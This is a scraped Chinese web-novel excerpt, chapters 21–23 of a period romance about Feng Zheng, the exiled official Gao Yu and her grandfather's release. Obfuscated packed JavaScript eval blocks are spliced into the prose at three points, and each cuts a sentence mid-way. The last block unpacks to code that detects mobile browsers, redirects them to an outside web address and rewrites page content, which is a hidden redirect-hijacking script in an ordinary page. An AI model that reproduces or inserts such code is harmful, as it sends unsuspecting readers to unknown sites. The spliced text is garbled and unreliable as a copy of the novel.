她推开屋门,里面陈设简陋,桌上摆着一副纸笔墨砚,没有被取走,覆着一层薄薄的灰。 冯筝坐下来,突然有些绝望地想到,哪怕此处养了雪鹞,需要他定期照料和打理,她却也隐约觉得,这里只是他安抚高蘅所设的幌子,他本人其实收不到音信。 或者收了音信也不会回应。 出于惦记祖父安危,她一时脑热,赌一赌所谓把柄的虚实,既然来了,还得先赌高豫能否理睬他们。 她脱掉蓑衣,摘下笠帽,静静坐在桌前,用自己的笔墨写了张字条,缠在雪鹞腿上后把它放飞。做完这些事,她就在屋檐前站着,寄希望于雪鹞能让她等来回音。 冷意漫过四肢百骸,一点点动静都能让疲困欲睡的她重新惊醒。 山林之中偶有啼鸣,当她再一次抬起头,还是一无所获后,重新戴上笠帽,抱臂坐在了石墩边,以防错过任何一点端倪。 笠帽宽大,其实足够遮风挡雨,但是离开屋檐庇护,视线清楚了些,四面当风的情况却更冷了。 忽闻马蹄声朝这边靠近,冯筝猛地抬头,马背空荡荡的,高豫灰袍素净,如一片静默雪原,走在黑蒙蒙的雨夜下,比任何灯火都要醒目。 冯筝倏地站起来,抖落一身水珠,砸在静默雪原,静谧而微小,却让他披衣跋涉的动作微微停顿。 说不清高豫是何时出现在面前的,他伞面破损,湿漉漉的水顺着伞骨重新浸湿他衣襟,摧毁他的神清骨秀,仓促晕开一片潮湿。 雨意湿重,压着他那双没有神情的眉峰。高豫一把丢开伞,依旧沉静拓然,冯筝如见救星,欣喜之情却陡然凝固。 她理智地退回屋檐下,扭头时已眼眶湿热。 “很抱歉用这样的方式来找你。” “但是高豫,我没有别的办法了。” 21. 第21章 高豫下衣摆湿透,一眼望过去如禅絮沾泥,雨线稠密,她理智退到屋檐下,他的表情才终于好看起来。 冯筝很无奈,当初来意坚决的人是她,此刻因为等待答复而踌躇不定的人也是她。 但倘若能够得偿所愿,让她再蹉跎两刻钟也不算过分。 今夜雨寒,他衣着狼藉了些却守约而至,冯筝将他请进屋,在一种主客颠倒的错觉里煎熬了小半晌。 这种错觉没持续多久,高豫烧柴煮水,柴薪迸裂的声响把她的忧思打断。 “你说的事我听明白了,先稍安勿躁。慎刑司既然做了围捕的打算,理应放不出漏网之鱼,你家小厮能趁乱逃出,可见他们松了手脚,做出此种变通,用意就是让收到报信的各家主动去赎人。” “扣留宾客只是严谨行事,他们走不到赶尽杀绝这一步。” “你父伯他们设法搭救,相信即日就能接到人,再者睦州离惠州不远,我明早也会让展青去惠州交涉。” 高豫说完,递来一碗热水,“这里只有粗瓷的海碗,冯姑娘姑且将就一下。” 冯筝微感困惑,有了高豫解答,这才知道,赏灯夜给他伴驾的人,就是睦州观察司的吏员展青。 见她理拢裙摆坐下,接过水碗,貌似接纳了现状,高豫扯来坐墩,隔着炭盆坐到她对面。 冯筝稍微心安,忍不住讲出伯娘的推断,“所以,三郎君真的有慎刑司大人的把柄吗?” 三司圆审的一套章程中,从来都是诏狱打头阵,慎刑司没能在限定时间里拿下他的签押,自罪书便成了一纸废稿。期间煎熬百味,高豫不想尝第二遍,搭上她好奇的眼,只是轻描淡写道,“脱险诏狱,靠的不过是硬熬罢了。” “倒是你,雪鹞没回来就是信未送至。外面雨势大,出来等我又是何必?” “需知道任何紧要关头,照顾好自己都是最重要的。届时冯公安然归来,得知你冒雨寻我,把自己搞成这副模样,他日再有机会登门,我也无颜面对冯公。” 冯筝捧着海碗没有说话。 海碗是隔壁借来的,那时老妪看到高豫出现,脸上的惊讶不像是演的,可见他租下屋舍后很少踏足这里。 这样一想,她对他搭理不到雪鹞的顾虑便很合理,出于关心则乱而冒雨等他,也不是什么天大的错。 冯筝静静垂眸,眼底,他前倾的身影被火光烘出绒边,冯筝惊动抬头,却见他只是手持钳具把柴火拨明。 她坐僵的身子不轻快地扭了扭,然后就听见他询问。 “需不需要我去给你借一身衣裳?” 哪怕一路上有蓑衣敝体,她现在的情况也不比高豫好很多。来时路上,雨珠穿过笠帽的缝隙淌进衣领,经他提醒,她才注意到,脚边的裙摆也还没干透。 这还不是最难受的,小衣湿哒哒地贴在身上,就这样坐等一宿怕是得着凉。 冯筝抿了抿唇,想到他吵醒老妪后,只怕又得赔礼致歉,还是拒绝道,“这样晚了,不能总是打扰婆婆,我靠炭盆近一点,一会儿就能烘干。” 高豫看出她不舒服,已经尽到了提醒义务。 原以为这事不会再有后续,但他看着她强撑,结果反而露出笑容。 “距离天明时间还很长,你这样扭来扭去我也没法静心,不如商量商量,我身上还有多余且完好的衣物,如果你不嫌弃,就用我的将就一晚,待天明前换回来,应该不影响冯姑娘清誉。” 衣物多少不好证明,高豫翻出袖口给她看。 冯筝没多想,竟也实打实地凑了上去。 他的袖角堆着三层袖料,越往里数,织料越绵密,最外层的灰袍她不能要,贴身的底衣也不能选…… 高豫俯视喟叹,“你还挑起来了?” 冯筝脸色一臊,绕开他后赶紧答谢,“那就多谢三郎君了。” 接过他中间那层云衬,冯筝贴身穿着,再套上已经烘干的裙衫,换好衣裳后出来,整个人感觉无比舒展。 他的衣裳偏旧,也是真的柔软,穿旧了的衣裳亲肤适体,冯筝手捧海碗啜饮热水,忍不住发出一声舒服的吟叹。 这一吟叹可不好,好像不太在乎祖父的安危,她便收敛眉目,和高豫面对火光话平生。 炭盆中的火苗温吞而明昧,像由松枝引焚,鼻尖可闻干燥清爽。 冯筝静静一怔,城郊荒芜,哪来的松枝? 视线顺着他衣襟流连,然后转到自己身上,望着那片因为底衣宽大而露出的袖角,冯筝忽然悟到了什么。 近日阴雨连绵,各家洗晾好的衣物多用竹笼文火慢烘,有条件的门户,还会在竹笼底下燃松炭驱虫,很显然,碧城胡家聘他为西席,在起居上不曾苛待过他。 当所闻清香有了出处,她忽然感到一种前所未有的平静。 高豫之于胡家,并非什么不可或缺的角色,却在慢慢被他们习以为常。当主客之别模糊起来,属于异乡客的特征也在日渐相处中逐渐磨失。 他拨弄柴薪的动作,熟练得像很早以前就这样做过。看到高豫驾轻就熟地将柴火拨热,仿佛比重逢时更加亲切了几分,冯筝没再一如既往地跟他客套。 她问出了以前会觉得唐突的话,“三郎君在睦州领职察访时,过的也是这般简朴甚至寡淡的生活吗?” 她明确过问他某段履历,确实让高豫微感意外。 高豫缓慢坐起,不知道冯家溯及祖上,三代都不曾进举中枢,更不知道沾樊楼的光,饱览过平仕图视觉盛宴的她,面对自家贫瘠可考的族谱,一位现成的前司衙要员当前,做不到一直按捺住好奇。 但他对此无甚介意,径自解答她的疑惑,“不全是。” “观察使奉上命勘察纠错,于必要之时进驻官衙,疏通上意。偶尔风光的排场背后,日常职事,大多是为了固定证据而反复进行的摸排与察访。” “职事重复枯燥,如冯姑娘所言,寡淡不可避免,但当有一日,能与身边同僚共襄盛举,将封漆印拓的卷宗直抵御前,披露不端,亲手为辖地攘除奸凶、肃清纲纪的时候,那种披肝沥胆的快意,以及辛劳被尊重的欣慰,是毕生都值得珍重的感触。” 很冠冕堂皇的一副腔调,冯筝不满足,暗怪刍荛圆滑,紧接着追问。 “观照往年国史,豁免连坐者屈指可数,能够将功折抵五年牢狱之灾,反推三郎君功绩,想是做成过许多事业的吧?” 至此,高豫再迟钝也该听出不对劲来。 他微抬的眸光凝向冯筝,坐姿安之若素,眼神却已微变,想这通情达理的姑娘一改常态,问话直接捅他要害,很难不显得此话是在刻意为之。 只是她的眼中全无恶意,甚至对某种答案有着近乎执着的期待,高豫助她遂愿,给出他的下文。 从解决州衙“三冗”到重振州境军备,高豫自问有所建树,就连对民间税负问题这唯一的遗憾,也在殿试场的答时务策中得到了释怀。 长达四年的任期,在他简单的概述中接近尾声,几桩政绩讲下去,最终被他归结为一句“年少无为,多的是不值一提的事”。 冯筝不知道他在高蘅面前,曾自诩一介微末之身,如果那时她听见了,肯定也会像现在这样,很难想象如他这样端然无匹的人,人前也会自比微薄。 原本以为这是谦逊使然,毕竟出身司衙要员的他,作为满朝朱紫的后继新秀,即便一朝落魄,也未必真的就自视微末。 可当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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气氛陷入凝滞,高豫半开玩笑,“穿着我的里衣,还有闲情审我的过去,冯姑娘,冯公就是这样教你尊重大善人的?” 冯筝一整个愣住,脸颊染上羞恼,在嗔怪他插科打诨和邀请他回屋之间,仍然选择了后者。 “大善人恕罪。” 诸司司属要员,身边大多配有亲随,如今知道了展青不是亲随,她才迟迟意识到,当初他甚至还没来得及培养自己的亲信,就被停职卷入了科场案是非。 冯筝不清楚时辰的变化,面对屋外雨势,起初还有种时间拖得越久,天地越来越暗的不安。 此刻一室两人,昏昏灯火话平生,高豫半幅容颜隐没在暗光中,她便为这近乎昏聩的昏暗而感到郁怒。 她有想过掩饰一下情绪,但她显然不精于此道,刻意柔软的神情冲撞眼中躁郁,只会让她看上去更加拧巴。 在那句“怎么就不会呢”之后,高豫等着她说出点名堂来,当预想中的后文被她眼中的郁结所取代,高豫得以见微识著—— 在这场潦草收场的夜话中,两人貌似颠倒了角色,对于陈年旧事,本该满腔遗恨的人是他,而她合该无关痛痒。 可她挽言替他不值,替他埋怨着不公,反观本尊却一副慈悲宽恕的尊容,高豫易地而处,察觉到一丝残酷,随即以一种始料未及的态度说道“幸好”。 “那段时日过的很快,快到感觉不算难捱,期间我遗憾过,怨怼过,幸好在我最困难的时候,也曾遇到过很多难以言明的善举。” “他们助我脱困,使我及时脱险,有赖于此,我才有机会,为挽未亡人而发声和争讼。” 雨声磅礴,高豫露出体贴的笑,“这样一看,我的经历,不算糟糕。” 22. 第22章 昏暗的雨夜,高豫阳煦山立。 他的笑意发自肺腑,柔情溺在眼里,仿佛生来豁达自适,善于适应很多挫折。 他能忍常人所不能忍,看开常人所看不开的事情。说实在话,他在地方权垄中稳扎稳打数年,沉淀出这份心性挺正常的。 可她审视着他沉静的模样,心情反而越来越消沉。 人果然不能轻易和他人的苦难共情。 本来还想说些什么,一时间也不确定,是要配合地附和他“确实万幸”,还是要由衷地祝福他未来顺遂。 后来,高豫在屋檐下守了一夜,冯筝迷迷糊糊睡了一觉。梦里她变成一名酷吏,蹲在高豫脚边,问题还是那三个问题,手中的海碗却变成了刑鞭。 刑鞭上沾满浓稠的血,她眼都不眨一下,捧着由他签押的罪状,眼尾弯弯地献给了上座高官,回头嘲讽他。 “高大人还是输给我们了,这般知无不言言无不尽,看来和那群窝囊废一样,所谓殊死顽抗的铮臣也不过如此嘛。” 高豫如同玉山将倾,仿佛快要熬不过去,大有一种哪怕命他敛袍长跪,也能面不改色照做的样子,深深刺痛了她的双眼。 但她嘴上仍不饶人,言语奚落他,绳索捆缚他,亲眼看着他挺过鞭刑。她退后两步,勾着自己整洁雅致的翘履鞋尖,做尽可恨的事,却不让裙边沾上半点污秽。 而他支起将倾的身躯,回答了她一句话,一成不变的口吻,把在场酷吏钉死在原地。 也让迷迷糊糊的她醍醐灌顶,夺过上位者手中的自罪书,任性一般撕得粉碎。 梦境很荒唐,睡前还消沉着的心情,醒来时已经毫无负担。望着自己空空的手,冯筝大汗淋漓,知道梦里的事不会发生,也还是忍不住有些颤栗。 她穿好鞋推开门,缓慢走到墙根边,很安静地看着他的睡颜。 高豫胸膛起伏,鼻息平稳又清冽,满满都是安稳,好一阵,她终于托着腮笑意盈盈,呢喃地祝愿他。 “高豫,你以后,不要再过得那样惨了。” “也不要轻易对一名女子心软,哪怕是我也不行。” “用你的话来说,任何紧要关头,照顾好自己都是最重要的……” 屋里没有绒毯,她就把棉被下的被单折成披毡,盖住他后悄悄回屋。 后半夜一觉睡到天明,外面传来高豫道谢的声音,谢的不是她——隔壁老妪端来早食,松软的馍馍配清淡的米粥,让她顿时就有点饥肠辘辘。 冯筝谢过老妪,中途忍不住瞟了眼高豫。她半夜起过一次身,后来索性和衣而眠,所以此刻衣着还算完整。 冯筝捋了捋微乱的发丝,想当年隔着屏帷,他们都照样相处过许多夜晚,没道理因为境遇改变,自己就变得扭捏起来。 她拿起昨夜卸下的梳篦,大大方方给自己梳戴。 高豫目不斜视,臂弯揽着那件被单,无声放下,跟随老妪离开,走之前才对她道,“换好衣裳便出来一趟吧,我有事要跟你商量。” 冯筝领会到,他说的应该是“换自己的衣裳”。 一晚上的时辰,小衣已经烘干,此刻也服帖地穿在身上,她哑然失笑,回到遮屏后拿起那件云衬,出门还给他。 似是想到了什么,她的动作微微停顿,高豫看出她的迟疑。 “你想把它焚了,我也不会有二话。” “哪里的话。”冯筝也不纠结了,赶紧还给他,“三郎君体谅我的难处,好意清清白白,我怎能扭捏顾忌地想东想西,把你跟那种心思不纯的人和事情想到一处去。” 云衬毕竟贴身穿过,为什么扭捏并不难猜。这话前半段还好,后面的话一说就更像有什么了,看到高豫凝眉,尝试理解她指的是哪种心思不纯,冯筝就催促他说商量何事。 “不用打岔。”高豫收下了云衬,冯筝恹恹回眸。 “正好我想说的事和这个相关。” …… 清晨的时候府里的马车赶到,冯筝迎上前去,双方见面都有些惊讶。 高蘅掩面感叹,“我以为你瞒着家里跑出来,至少带着仆妇作陪,筝娘啊,伯娘真是小觑了你的胆量。” 冯筝挽住她,“伯娘放心,这处院落有隔壁的婆婆在照看,得她照顾,我既没挨饿也没受凉。” 高蘅点点头,环顾四周,“如何,三郎还是没有来吗?” 冯筝遗憾地笑了笑,“没关系,我通过雪鹞收到了他的回信,三郎君答应我们,会跟慎刑司的大人交涉,出力保祖父平安。” 高豫和她提前商量过一遍说辞,把共处一夜的事情瞒住,这样一来,对两人的清誉都好。 冯筝预料过,自己贸然离开的事藏不住,家里或早或晚都得来接,却没想到蘅娘会亲自出现。 高蘅告诉她,此时府里忙成一锅粥,对她离家的情况还一概不知,冯筝微感疑惑,又觉得这样也好,免得爹娘替她担惊受怕。 她靠在车壁闭目养神,高蘅让仆妇给老妪送去银钱答谢,回府路上,对她几乎挪不开眼。 当初的把柄一说还只是猜测,她自己都没有把握证实,筝娘却能为冯公做到这份上,祖孙挂碍之情,很难不令人动容。 惠州距离宣州不远,但要回到其腹地的宣城,远不是两三天就能走完的路程。 冯公平安回府的那天,门前撒了芝麻秸和桂皮,冯公踩碎而过,成的是摒除祸祟,祈求安康的寓意。 众人陪冯公一路回到内宅,以前清静整洁的寝堂,此刻满满挤了两房的人,你一言我一语地嘘寒问暖或者说事,冯公躺靠在床榻上连连摆手。 “你们有事要讲,一件一件来说,鸟雀一般啁啾叫着,闹得我脑仁儿生疼。” 冯公说这话时精神很足,他语气嫌弃,两房家眷却接连蓄泪,冯公笑呵呵道,“好了,我这不是没事了吗,左右虚惊一场,没让你们给我接风洗尘,难道还要我这把老骨头,先给你们喂定心丸?” 冯承纲见状,把伺候的人都挥退出去,屋里顿时静了一些,听到冯公提问,冯承纲回答了这段时间家里的情况。 冯公知情后,冯承琨便接着道,“父亲能顺利回来,多亏了大哥在前面疏通和斡旋,大哥劳苦功高,父亲不问,这话我也是必然要讲的。” 冯承纲谦虚回绝,坐在冯公手边的椅凳上,“儿子不敢居功,那惠安郡的郡尉跟我是同窗,此事要仰仗他的帮忙。” 说完又觉得疑惑,“不过怪就怪在,我们到惠安郡见到刑差时,并没有费什么唇舌,只用度牒告知了我等来历,刚说姓冯,那边银钱都没收,慎刑司的刑差就放了人。” 孟夫人也觉得奇怪,“这么顺利?我可是听说,那校书郎家的老爷来接人,塞了满满三个荷包才搏到他们一个眼神呢。” 冯承琨揽住夫人,“或许不同的人情况不同,咱爹素来清白持家,不管什么罪名,应该都是一群宾客里最没有嫌疑的。他们慎刑司要捉逆贼,这话在屋里讲讲就算了,以后可不好再去说嘴。” 孟秋身侧,冯筝黛眉微蹙,暗想慎刑司的刑差手段黑,心也一般的黑,看到钱财才肯施舍一个眼神。 如此嚣张跋扈,高豫派去展青交涉,能让他们行这样的方便,对冯家人这样好说话,看来观察司的分量确实不轻。 一盏茶的时辰,屋里的人各自说完话,让冯公安心歇息,渐渐走得差不多了,冯筝却逗留着迟迟没动。 冯公眼神熠熠精明,猜到她有事要说,这就把她招到近前。 冯筝笑着卸下床帐,“不着急,不是什么大事。祖父刚回来,肯定正疲惫着,您躺下休息,我给您摘了帘帐,咱们隔着帘帐,你睡你的,我说我的,您应该就不会太费神了。” 能让她这样藏头露尾,说不是大事那都是扯谎。 冯公乖乖躺下来,一筹莫展之际,听到冯筝突兀地问,“祖父还记不记得,阿伯娶亲那一天,我在庭院前晕倒的事?” “当然记得了,你那样一倒,被你娘丢下的宾客们好一顿面面相觑。” “那么祖父知不知道,在我晕倒前,高郎君见到我的第一面,说了句什么?” 察觉冯公沉默下去,冯筝解答,“他对我,讲他他乡遇故知的喜乐。” “所以阿伯娶亲那一晚,在膳堂的喜宴散场之后,我跑到了高郎君的客院跟他叙旧,说叙旧其实不准确,因为那个时候我还嘴硬着,没有跟他相认。但现在不一样了,或许我早就该告诉您的,他就是三年前,我颠沛襄阳时救下我的善人。” 冯筝没再隐瞒,把三年前和高豫相识的往事和盘托出。帘帐里陷入很长一段寂静,她知道祖父大概惊得说不出话,事实也差不多如此。 冯公眉峰横跳,险些鲤鱼打挺般坐起来,难以置信过后,眉峰已经缓慢拉平。 他声音平和却沉稳有力。 “哦?瞒了这么久的事,怎么现在就舍得坦白了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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出于名节考虑,当年突逢祸事的经历还是秘密,阖府只有双亲、伯父,以及祖父知晓,就连间接酿成祸事的表姑母那边,也以为她只是半途生病而折返。 而她遵照自己的意愿坦白一切,不过是希望亲人们能善待他,礼待他,若能在她照拂他的时候,不胡乱嚼舌根就更好不过了。 轻易就能说开的实情,平白惹上这么多顾虑。冯筝受阻,额心微拧,越发觉得早在三年前返城的时候,她就应当将落难的经过和刍荛的存在一起说清楚。 若非此前不知他姓甚名谁,意外重逢后,又在百般拖沓中失去先机,她又怎么会这样被动? 冯公豁然笑起来,知道她避开二房,单独跟他挑明这些,就是想长幼提前通个气,让他出面说一说公道话。 “好了,阿筝暂且不要四处声张,二房那边,便交给祖父来讲明。” 闻言,冯筝哪里还有不满意的。 想起这两天在府里走动时,听到一些碎嘴的议论,谨慎起见,觉得有些事还是预先说明白比较好,也能进一步争取祖父信赖。 “祖父放心,我知轻重,懂荣辱,反而若是有不实的谣言传到您这里,您也莫要偏听偏信。高郎君品行端庄,曾经接济我的时候,跟我之间清清白白,以前这样,现在也一样,由不得旁人随意歪曲。如果您对我的话持有疑虑,我大可请三郎君来当面对证。” 对证是不可能对证的,高豫说要两清的话现在都还没有收回。 冯筝底气不够,随意蒙混过去,偏偏冯公当了真。 “既然是这样就好办了。你娘她们刚刚说,明早要去香积寺还愿,大抵能赶在晚膳之前回来,我瞧那会儿时机不错。” 冯筝面露疑惑,冯公暗示她。 “而我被禁足在惠安郡时,就收到了高三郎的探望信,我请展郎君替我转述,说我无以为谢,回府后只能请他来吃惠安的酥糖。” 他说完从袖袋里掏出糖裹,穿过帘子伸出手。 “这么小的谢礼他肯定无法拒绝,如今我回来的事情,福登已经散播出去,所以阿筝,你要什么时候去找他?” 冯筝眼瞳细微一动,在这瞬比棉絮还要轻的惊动之中,突然到来的意会使她很快苦恼起来—— 祖父阐明高豫动向,透露他大有可能前来接糖,无非是想让她提前知会高豫,抽空与她做个对证。 驱车时两清的建议,茶铺里的几句夜谈……种种画面,在脑海里搅成一团浆糊,当时含怨跳车都没让他松口,现在想让高豫配合她给她帮腔。 冯筝思考了下可能性。 还是做梦来得快些。 23. 第23章 福登这些时日,忙得有些抽不开身。 脸颊上的伤是溜出寿堂的时候蹭到的,刑差们刀不长眼,剌到他的时候他也忍着不敢痛呼,虽然看着骇人,结痂后等待痊愈就好了。 他循路回到院落,向冯公复命交待的事,远远就看到姑娘在垂花门前翘首以盼,瞧着似在等人。 直到迎着他的面走过来,福登才意识到姑娘是在等自己。 以为姑娘可能有事要问,没等说什么,怀里就塞进了一只瓷瓶。 冯筝叮嘱他,“这是雪肌散,用来治疮疤的,跪审堂回来的时候我用过,效果还不错,你早晚各外敷一次,等到了冬天,差不多就能好全了。” 福登惊惶不已,“姑娘快快收回,小的皮肤糙,配不上用这样精细的东西。” 冯筝摇头又劝,“你的功劳,大家可都记在心底,祖父没提起,却也知道是怎么一回事。这药算是赔给你的,你年纪还轻,又是签了契的家仆,以后出去是要配娘子的,顶着这样的伤疤,岂不是要惹小娘子取笑?” 她面色如常地提起这些,仿佛把跟前小厮当自家人看待。福登颇感动容,然后又听到她和气地讲,“当然,还得劳烦你替我跑一趟碧城。” 福登惶惑道,“姑娘要我去做什么?” 关于冯公回府的消息,福登已经散播出去,冯公请高豫来吃惠安的酥糖,却没在意高豫会不会把它当客套话翻篇。 前阵子,吴嬷陪二房去胡府做客,知道碧城胡家的府址所在,她把打探到的府址写成字条,交给福登。 “冯公的目的你也明白,想请高豫吃惠安的酥糖,答谢他帮忙疏通刑差。以免高郎君那边会错意,把这谢意当客套话翻篇,咱们不如把这事做实。与其朦朦胧胧地散布消息,引他来见,不如直接送信过去。他看到你,知道这是祖父的授意,想必就会主动登门了。” 姑娘的吩咐,和冯公的交待殊途同归,这样一算,办的就是同一件事,福登当即答应下来,扭头去办。 于是冯公回府这天,冯筝再没出去过一步路,隔天一早,她又陪母亲和伯娘去香积寺还愿,圆谢前些时候,在菩萨殿求得冯公安康。 庙里香客云集,两位夫人在前边捐香油钱,冯筝在庙殿的廊柱下看签文。 都说香积寺的姻缘签灵验,冯筝眼神轻晃,却觉得自己抽到的,与其说是姻缘签,不如说更像是一条出行签。 签文“莲步远赴路,一程解忧渡厄,绵福有所寄”指代晦涩,姻缘顺不顺还未可知,感觉却像得出远门。 冯筝想了想,嫁去碧城,姑且也算出趟远门,不确定还有没有必要找高僧解签,迟疑间,一个身穿对襟衫的婢女蹭到了身边。 婢女鹅蛋脸,经她提醒,冯筝便记起这是在她闺院当值的云燕。 云燕鼓着嘴附耳道,“姑娘,最近府里,有些下人躲闲的时候拿您说嘴,奴婢听了都觉得刺耳。莫怪奴婢疑心,总觉得您该提防下身边,毕竟有的人侍奉二主,一不小心,把姑娘的私事捅出去也不无可能。” 云燕意指谁,冯筝哪里听不明白。含笑示意知晓,知道这些碎嘴子,因她赠笔墨砚块的事,前些天嚼舌她对高豫不一般,这样闲得慌,是得好好敲打敲打。 来不及料理这些,吴嬷就来催促她回府,后来,冯筝还是没有跟母亲她们一道回去。 她捏着签文找僧人解签,僧人语焉不详,并未让她悟清楚更多,索性破罐子破摔不去计较。反正不管谁抽到签,或抽到什么签,他们都能讲出份道理,重在听者信与不信。 回到府邸后穿过回廊,往前就是闺院。如祖父所言,她欲将刍荛的善举过一遍明路,今晚就是个合适的时机,猜到晚膳前后高豫会来访,这就回去准备准备。 前头的仆妇四处洒扫,一边也说着话,隐隐约约听到什么,冯筝停了停。 “这符家的管事早不来晚不来,偏偏在府里摆家宴的时候来,府里给老太爷接风洗尘,他从淮阳到这里,倒是蹭得好一顿洗尘宴。” “是啊,我没记错的话,淮阳是在淮州吧?这大老远的不请自来,算上三年前那趟,可就是第二回了。上回他们请姑娘去侍疾,过去这么久,什么病都该好了,难道符夫人又记挂姑娘了?” “没准是呢。不过,有的事可不好说绝了,谁知道符管事是不是不请自来。” “这还用得着猜嘛,二夫人瞧见他时脸色可冷了,不知道的,还以为来的不是亲戚是冤家呢。” 她们抄着竹笤和扫帚,有一搭没一搭地聊闲天,听到吴嬷喊停,连忙抄起扫帚干活,地皮都能掀起来。 前堂摆座招待来客,两位夫人珠冠绾发,锦帛缠袖,打量着这位符府管事,心思各不相同。 符老原是勋戚出身,履政之年常收纳门徒,桃李遍布朝堂,而他被敕封乡君的夫人,系冯家两房的族支表亲,两房老爷都唤她表姐。独子符邺刚成家不久,官职不起眼,直到符老晚年就木,才替亡父扶柩归乡。 符府的管事随主姓,此行受符夫人差遣,请冯姑娘到淮阳一叙。符管事态度恭顺,端起茶汤斟酌着说辞,谁料茶汤辛辣,把他呛得连连咳嗽。 孟秋:“辣吗,辣就对了。” 高蘅找补,“二夫人是说,咱们一样觉得辛辣呢。” 来者毕竟是客,孟秋扯出笑容,表示招待不周,又解释称女儿出阁迫在眉睫,库房那边点检嫁妆,偶尔忙中出错,放错了待客的茶也情有可原。 符管事笑道无妨,即便猜得出,他和她们茶盏里的恐怕是两种茶,也妥帖受下没有多问。 孟夫人敲打他,让他清楚,不管是该提的不该提的,最好掂量着点再说话。符管事也没辙,符家为表诚意,特地派他登门,明知待嫁女不方便探亲,他还是得把话带到。 果不其然,孟夫人脸色瞬间拉下来。大夫人高蘅在一旁周全礼数,留客用膳,符管事识趣告辞,临走前描述符夫人如何记挂侄女,还望冯家考虑一下。 闺院中,云雀正指点着婢女,修剪斗拱边那簇雨过疯长的梧桐枝桠,冯筝坐在书案前,托腮望着窗外,细眉云卷云舒。 片刻前,吴嬷按照她的吩咐,依照云燕的意指,把背地里传她闲话的仆婢粗略筛了一遍,其中并无云雀的存在。 冯筝收起疑心站起来关窗。一来一回,吴嬷听说了前院用椒子茶待客的手段,说到她近前。 冯筝抿唇不语,母亲行事柔婉,素来与人融通情面,唯独在符家这件事上,强硬地有些超出她预料。 好在她也无心出这趟远门,安心等着夜幕降临。 今晚的事她都安排好了,福登去碧城捎信,回来的时候刚好能和高豫一道。 她提醒过福登先拖住他。晚膳前后,她借符管事的出现,把思念表姑母的想法提一提,委婉试探一下探亲的可能。 可能性不大,大概会被否决,届时她便可以顺藤而下,说自己遭遇过贼匪也长了记性,答应安分地在家中守嫁。 需要答应得勉强一点,然后就可以替远方的表姑母挤出两滴苦情泪,也替过去遇匪的自己哀婉一遍,把哀婉终止在襄阳崇祝寺,继而把他和刍荛的交情一并说出来。 祖父答应她,会替她把此事讲明,有他主持公道,不怕往事会被怀疑虚实。到时候,家中对高豫感激涕零,高豫一到,由不得他愿不愿意,只能硬生生接下这份答谢。 情景在脑海里预演一遍,过去那点遗憾,圆满得令她抚掌称赞。 时辰渐渐晚了,夜色洇进砖路每一寸缝隙,一簇簇灯笼贴近又远去,砖路上恢复了浓黑寂静。 膳席已经结束,府门处迟迟没传来动静。冯公没打算等,似乎也不在意,他欲提的事超出了规划,他把众人叫到前堂,安坐下来,对着二房语出无奈。 “当初景仁元年榷税改制,试行遭遇地方阻力,郡地里很长一段时间都不太平。那时你们老夫人早逝,孟氏又全心辅佐承琨秋闱,是符家主动讨要年幼的阿筝,带过去学礼识节,让她到淮阳躲一时安宁。” “符乡君教养阿筝数年,对她有些感情,三年前的事是个意外,如今符家遣人邀见,你夺了她这舐犊之情,未免苛刻了一点。” 后面的话是对孟秋说的,孟夫人听出敲打之意,面庞带着得体的笑。 “两房老爷在外当值,父亲不怪我自作主张,儿媳已是感激,只是当初若非她符家一纸催请,路上又没给个接应,怎至于叫阿筝横遭匪祸。如今旧事掀篇,儿媳能够看开,唯独探亲这事,我不能应。” 女儿接连两个月下落不明,当年苦楚,她这个做母亲的感触最深。 过去的祸事是个秘密,需把符家一块蒙在鼓里,她知道自己不该迁怒,可一想到他们懵着脑袋什么都不知情,还理所应当地又来邀约,她有气没处撒,可不就用椒茶摆了管事一道。 冯承琨晚膳前才听说符家来人的事,见夫人执着,短暂没有表态。长房觉得插不上嘴,不知冯公把他们一起留下是何用意。 冯公唤到冯筝,欲听她的想法,冯筝等来了机会,腹稿信手拈来,起先探亲意笃,对上母亲失望的脸,她便及时做出退让。 “我再记挂表姑母,到底还是跟娘最亲,娘的打算就是我的打算。而且我这个人实在没胆魄,遭遇过贼匪也长了记性,知道好好待字闺中,安分一点才能保自己安稳。” 说着,掏出手帕在眼角狠狠蹂躏了一下,摘帕之时眼睑微红,像想起了旧事而痛惜起来。 “只可怜表姑母以后无缘见我,也可惜当年的我在匪贼手中,白白遭了一遍罪,害得我和表姑母自此亲缘浅薄。好在曾经符家来信,让我知道了表姑母安康,无需晚辈侍疾,也好在落难襄阳的时候,福报让我遇见了善人,我这辈子瞒着娘的事情不多,这个就是其中一桩……” 眼看女儿越扯越遥远,孟秋音容转沉,接着触动她隐忧的某句话道,“你瞒着娘的事又岂止这些。” 冯筝稍一停顿,孟夫人继续道,“你瞒着娘跟符家传信,这事我不怪你,可你刚刚也说,答应好好待字闺中,安分一点才能保安稳。可是阿筝,你真的在安分待嫁吗?” 孟夫人话至一半,看到女儿先是起疑后又懵懂,完全没意识到错误,点醒她,“就说官禄府茶饼的下落吧。你把官禄府茶饼赠给了谁,瞒得了一时,却莫要以为这事就没其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936810|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人知情。” 